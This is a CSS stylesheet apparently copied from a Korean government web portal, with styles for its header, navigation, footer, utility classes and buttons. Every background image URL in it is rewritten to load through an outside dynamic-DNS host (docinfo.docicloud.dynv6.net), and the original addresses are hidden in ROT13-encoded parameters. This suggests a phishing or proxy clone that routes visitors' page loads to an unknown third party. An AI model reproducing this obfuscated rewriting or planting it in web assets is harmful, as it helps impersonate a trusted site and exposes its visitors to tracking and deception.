@charset "utf-8";

/* common */
html{overflow:scroll; overflow-x:auto}
body{margin:0; padding:0; font-size:12px; line-height:1.5em; font-family:Dotum, Arial, Tahoma, Verdana, sans-serif; color:#555555}
div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,blockquote,th,td {margin:0; padding: 0; font-size: 12px; color:#555; font-family:Dotum, Arial, Tahoma, Verdana, sans-serif}
p{line-height:1.5em; margin:0; padding:0}
abbr,acronym,fieldset,img {border:0}
address,caption,cite,code,dfn,em,th,var {font-style:normal; font-weight:normal}
ol,ul,dl {list-style:none}
table{border-spacing:0; border-collapse:collapse}
input, textarea {vertical-align:middle; color:#555}
input.type-image {border: 0 none}
input.type-text, textarea {margin:3px 0; border:1px solid #d2d2dc; background:#fff; padding:5px}
select.file {float:left; width:350px; height:50px; margin:5px 5px 5px 0; border:1px solid #c8c8ca; color:#666; background:#fff}

a:link, a:visited {text-decoration:none; color:#555555}
a:active, a:hover {text-decoration:underline; color:#555555}
caption,legend,.blind{width:1px; height:1px; font-size:0; line-height:0} /*2018.11.14*/

select {height:20px; border:1px solid #b0b0bb; font-size:12px; color:#555; vertical-align:middle}
img {vertical-align:middle}

#accessibility, .skip, legend{text-indent:-1000px; font-size:0; line-height:0; position:absolute; left:-1000px; visibility:hidden}
hr{display:none}

/* Input Style Definition */
.inputText {border:1px solid #b0b0bb; height:18px; margin-top:1px; margin-bottom:1px; padding:0 3px; color:#333; line-height:16px; background:#fff}
.inputTextR {border:1px solid #b0b0bb; height:18px; margin-top:1px; margin-bottom:1px; padding:0 3px; color:#333; line-height:20px; background:#fff; text-align:right}
.inputText_gray {border:1px solid #b0b0bb; height:18px; padding:0 3px; color:#333; line-height:20px; background:#bdbdbd}
.inputText_req {border:1px solid #b0b0bb; height:18px; padding:0 3px; color:#333; line-height:20px; background:#ffe993}
.inputText_read {border:1px solid #b0b0bb; height:18px; padding:0 3px; color:#333; line-height:20px; background:#eef1f7}
.inputText_yellow {border:1px solid #b0b0bb; height:18px; padding:0 3px; color:#333; line-height:20px; background:#ffe993}

.mem_radio {vertical-align:middle}


/* wrap */
#wrap_main {overflow:hidden; width:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Sot_znva.wct) repeat-x}
#wrap_sub {overflow:hidden; width:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Sot_fho.tvs) repeat-x left 58px}
#content {overflow:hidden; width:950px; min-height:500px; margin:0 auto 50px auto}

/* skip */ /* 2018.03.13 */
#skip{position:relative}
#skip > a{position:absolute; left:-9999px; top:0; width:140px; height:0px; line-height:30px; color:#fff; background:#333; text-align:center; overflow:hidden}
#skip > a:focus{left:0; height:auto}

/* header-sub */
#header {min-width:990px}
#header .hWrap{overflow:hidden; position:relative; width:990px; height:110px; margin:0 auto; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Svzt_gbc.tvs) no-repeat left -317px}
#header h1{position:absolute; top:26px; left:19px; width:245px; height:35px; font-size:0; line-height:0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Svzt_gbc.tvs) no-repeat -27px -23px}
#header h1 a{display:block; width:245px; height:38px}
#header h1 a:active{background:none}
#header .topMenu{position:absolute; top:10px; right:17px}
#header .topMenu li{float:left; padding-left:10px; margin-left:10px; font-size:11px; line-height:14px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Svzt_gbc.tvs) no-repeat -27px -451px}
#header .topMenu li a{color:#555}
#header .topMenu li a:hover{color:#e96309; text-decoration:none}
#header .topMenu li.noline{background:none}

#header .gnb {float:left; display:inline; position:relative; top:41px; left:308px} /* 2018.11.14 */
#header .gnb>li {float:left; height:21px; margin-left:33px} /* 2018.11.14 */
#header .gnb>li.first {margin-left:0}
#header .gnb>li>a{display:block; font-size:0; height:21px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Svzt_gbc.tvs) no-repeat; text-indent:-5000px}

#header .gnb>li>ul{position:absolute; top:36px; height:32px; display:none}
#header .gnb>li>ul.on{display:block}
#header .gnb>li>ul>li{float:left}
#header .gnb>li>ul>li>a{display:block; height:10px; font-size:11px; padding:11px; color:#eafad1; text-decoration:none; letter-spacing:-1px; background:none}
#header .gnb>li>ul>li>a.on, #header .gnb>li>ul>li>a:hover,
#header .gnb>li>ul>li>a:focus, #header .gnb>li>ul>li>a:active{color:#fff; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Svzt_gbc.tvs) no-repeat -343px -23px}

 /* 2018.03.26 */
#header .gnb>li.menu01>a{width:88px; background-position:-27px -97px}
#header .gnb>li.menu01>a.on, #header .gnb>li.menu01>a:hover,
#header .gnb>li.menu01>a:focus, #header .gnb>li.menu01>a:active{background-position:-27px -124px}
#header .gnb>li.menu01>ul{left:-6px; width:702px}
#header .gnb>li.menu02>a{width:88px; background-position:-340px -97px}
#header .gnb>li.menu02>a.on, #header .gnb>li.menu02>a:hover,
#header .gnb>li.menu02>a:focus, #header .gnb>li.menu02>a:hover{background-position:-340px -124px}
#header .gnb>li.menu03>a{width:75px; background-position:-523px -97px}
#header .gnb>li.menu03>a.on, #header .gnb>li.menu03>a:hover,
#header .gnb>li.menu03>a:focus, #header .gnb>li.menu03>a:active{background-position:-523px -124px}
#header .gnb>li.menu03>ul{left:235px; width:375px} 
#header .gnb>li.menu04>a{width:75px; background-position:-523px -150.5px} 
#header .gnb>li.menu04>a.on, #header .gnb>li.menu04>a:hover,
#header .gnb>li.menu04>a:focus, #header .gnb>li.menu04>a:active{background-position:-523px -177px}
#header .gnb>li.menu04>ul{left:295px; width:320px} 
#header .gnb>li.menu05>a{width:48px; background-position:-740px -97px}
#header .gnb>li.menu05>a.on, #header .gnb>li.menu05>a:hover,
#header .gnb>li.menu05>a:focus, #header .gnb>li.menu05>a:active{background-position:-740px -124px}
#header .gnb>li.menu05>ul{right:-40px; width:230px} 
#header .gnb>li.menu06>a{width:51px; background-position:-643px -97px; left:396px}
#header .gnb>li.menu06>a.on, #header .gnb>li.menu06>a:hover,
#header .gnb>li.menu06>a:focus, #header .gnb>li.menu06>a:active{background-position:-643px -124px}
#header .gnb>li.menu06>ul{right:44px; width:124px} 
#header .gnb>li.menu07>a{width:109px; background-position:-643px -150.5px} 
#header .gnb>li.menu07>a.on, #header .gnb>li.menu07>a:hover,
#header .gnb>li.menu07>a:focus, #header .gnb>li.menu07>a:active{background-position:-643px -177px} 
#header .gnb>li.menu07>ul{left:350px; width:124px} 

/* footer */
#footer {clear:both; overflow:hidden; width:100%; height:89px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2Sot_sbbgre.tvs) repeat-x}
#footer .footerWrap{overflow:hidden; width:990px; margin:auto auto 0 auto}
#footer .fLogo {display:block; float:left; width:131px; height:24px; margin-top:30px; margin-left:30px; font-size:0; line-height:0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Spzza%2SsYbtb.cat) no-repeat}
#footer .footerWrap ul{float:left; margin-top:30px; margin-left:45px}/*2018.11.27*/
#footer .footerWrap li{clear:both; color:#c7c7c7; font-size:11px; line-height:18px; }
#footer .fLink {float:right}/*2018.11.27*/
#footer .fLink select{float:left; width:200px; margin-left:10px; margin-right:2px; border:1px solid #555}
#footer .fLink .waLogo img{max-width:100%; height:95px; margin-top:-3px}/*2018.11.27*/


/* width */
.w20 { width:20px}
.w30 { width:30px}
.w40 { width:40px}
.w50 { width:50px}
.w60 { width:60px}
.w70 { width:70px}
.w79 { width:79px}
.w80 { width:80px}
.w90 { width:90px}
.w100 { width:100px}
.w110 { width:110px}
.w120 { width:120px}
.w130 { width:130px}
.w135 { width:135px}
.w140 { width:140px}
.w142 { width:142px}
.w150 { width:150px}
.w160 { width:160px}
.w170 { width:170px}
.w180 { width:180px}
.w190 { width:190px}
.w200 { width:200px}
.w210 { width:210px}
.w220 { width:220px}
.w230 { width:230px}
.w240 { width:240px}
.w250 { width:250px}
.w260 { width:260px}
.w270 { width:270px}
.w280 { width:280px}
.w290 { width:290px}
.w300 { width:300px}
.w310 { width:310px}
.w320 { width:320px}
.w330 { width:330px}
.w340 { width:340px}
.w350 { width:350px}
.w400 { width:400px}
.w450 { width:450px}
.w460 { width:460px}
.w470 { width:470px}
.w480 { width:480px}
.w490 { width:490px}
.w500 { width:500px}
.w510 { width:510px}
.w515 { width:515px}
.w520 { width:520px}
.w530 { width:530px}
.w540 { width:540px}
.w550 { width:550px}
.w600 { width:600px}
.w650 { width:650px}
.w680 { width:680px}
.w700 { width:700px}
.w730 { width:730px}
.w750 { width:750px}
.w780 { width:780px}
.w800 { width:800px}
.w850 { width:850px}
.w900 { width:900px}
.w950 { width:950px}
.w50p { width:50%}
.w60p { width:60%}
.w70p { width:70%}
.w80p { width:80%}
.w90p { width:90%}
.w95p { width:95%}
.w98p { width:98%}
.w99p { width:99%}
.w100p { width:100%}
.ato {width:auto}

.mAuto{margin:0 auto}
.mt2 {margin-top:2px}
.mt3 {margin-top:3px}
.mt5 {margin-top:5px}
.mt10 {margin-top:10px}
.mt15 {margin-top:15px}
.mt16 {margin-top:16px}
.mt20 {margin-top:20px}
.mt25 {margin-top:25px}
.mt30 {margin-top:30px}
.mt32 {margin-top:32px}
.mt40 {margin-top:40px}

.mb5 {margin-bottom:5px}
.mb10 {margin-bottom:10px}
.mb15 {margin-bottom:15px}
.mb20 {margin-bottom:20px}
.mb25 {margin-bottom:25px}
.mb30 {margin-bottom:30px}
.mb35 {margin-bottom:35px}
.mb40 {margin-bottom:40px}
.mb50 {margin-bottom:50px}
.mb60 {margin-bottom:60px}

.mr3 {margin-right:3px}
.mr5 {margin-right:5px}
.mr15 {margin-right:15px}

.ml1 {margin-left:1px !important}
.ml2 {margin-left:2px !important}
.ml3 {margin-left:3px !important}
.ml4 {margin-left:4px !important}
.ml5 {margin-left:5px !important}
.ml6 {margin-left:6px}
.ml7 {margin-left:7px}
.ml8 {margin-left:8px}
.ml9 {margin-left:9px}
.ml10 {margin-left:10px}
.ml15 {margin-left:15px}
.ml20 {margin-left:20px}
.ml25 {margin-left:25px}
.ml40 {margin-left:40px}
.ml80 {margin-left:80px}
.ml120 {margin-left:120px}
.ml160 {margin-left:160px}
.ml180 {margin-left:180px}
.ml200 {margin-left:200px}
.ml240 {margin-left:240px}

.pr10 {padding-right:10px}

.pl10 {padding-left:10px}
.pl20 {padding-left:20px}

.pb6 {padding-bottom:6px}

.tLeft{text-align:left !important}
.tCenter {text-align:center !important}
.tRight {text-align:right !important}

.fLeft {float:left}
.fRight {float:right}
.fCenter {margin-left:auto; margin-right:auto}

.clear {clear:both}

.bold{font-weight:bold}
.hidden{position:absolute; visibility:hidden}

/* align */
.ct {margin-left:auto; margin-right:auto}
.ar {text-align:right}
.am {vertical-align:middle}
.ac {text-align:center}
.al {text-align:left}
.at {vertical-align:top}
.dp {display:inline}

.oflow {overflow:hidden}


/* font */
.txtRed{color:#ff0000 !important}
.txtBlue{color:#0000ff !important}
.txtGray{color:#6f6f6f !important}
.txtSkyblue{color:#1E90FF !important}
.txtGreen{color:#008000 !important}
.txtYellow{color:#FFFF00 !important}
.txtOrange{color:#FFA500 !important}
.txtSmall{font-size:11px}
.txtNormal{font-weight:normal}

 /* 버튼정렬 */
.btnC {margin-top:10px; text-align:center}
.btnC_1 {margin-top:10px; text-align:center}
.btnR {margin-top:10px; text-align:right}

/* background-color */
.bRed{background-color:red !important}
.bCyan{background-color:cyan !important}
.bYellow{background-color:yellow !important}

/* button */
button span{position:absolute; left:-20000px; font-size:0; line-height:0}
.btnAddRow{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_yvarNqq.tvs) no-repeat 0 0; width:61px; height:20px; padding:0; margin:0; border:0; overflow:hidden; vertical-align:middle; margin-left:3px} /* 2018.02.28 */
.btnDelRow{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_yvarQry.tvs) no-repeat 0 0; width:61px; height:20px; padding:0; margin:0; border:0; overflow:hidden; vertical-align:middle; margin-left:3px} /* 2018.02.28 */
.btnAllCheck{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Svpba%2Svzt_purpxobk.tvs) no-repeat 0 0; width:13px; height:13px; padding:0; margin:0; border:0; overflow:hidden} /* 2018.02.28 */
.btnReg{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_ertvfg.tvs) no-repeat 0 0; width:75px; height:28px; padding:0; margin:0; border:0; overflow:hidden}/* 2018.02.28 */
.btnMod{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_zbqvsl.tvs) no-repeat 0 0; width:75px; height:28px; padding:0; margin:0; border:0; overflow:hidden}/* 2018.02.28 */
.btnCancel{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_pnapry.tvs) no-repeat 0 0; width:75px; height:28px; padding:0; margin:0; border:0; overflow:hidden}/* 2018.02.28 */
.btnAddHistory{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_uvfgbelNqq.tvs) no-repeat 0 0; width:72px; height:20px; padding:0; margin:0; border:0; overflow:hidden; vertical-align:middle; margin-left:3px}/* 2018.02.28 */
.btnDelHistory{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_uvfgbelQry.tvs) no-repeat 0 0; width:72px; height:20px; padding:0; margin:0; border:0; overflow:hidden; vertical-align:middle; margin-left:3px}/* 2018.02.28 */
.validateCmmdNo{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.cdvf.tb.xe%2Szvajba%2Spff%2S..%2Svzntrf%2Sohggba%2Soga_ahzInyvqvglPurpx.tvs) no-repeat 0 0; width:125px; height:20px; padding:0; margin:0; border:0; overflow:hidden; vertical-align:middle; margin-left:3px}/* 2018.02.28 */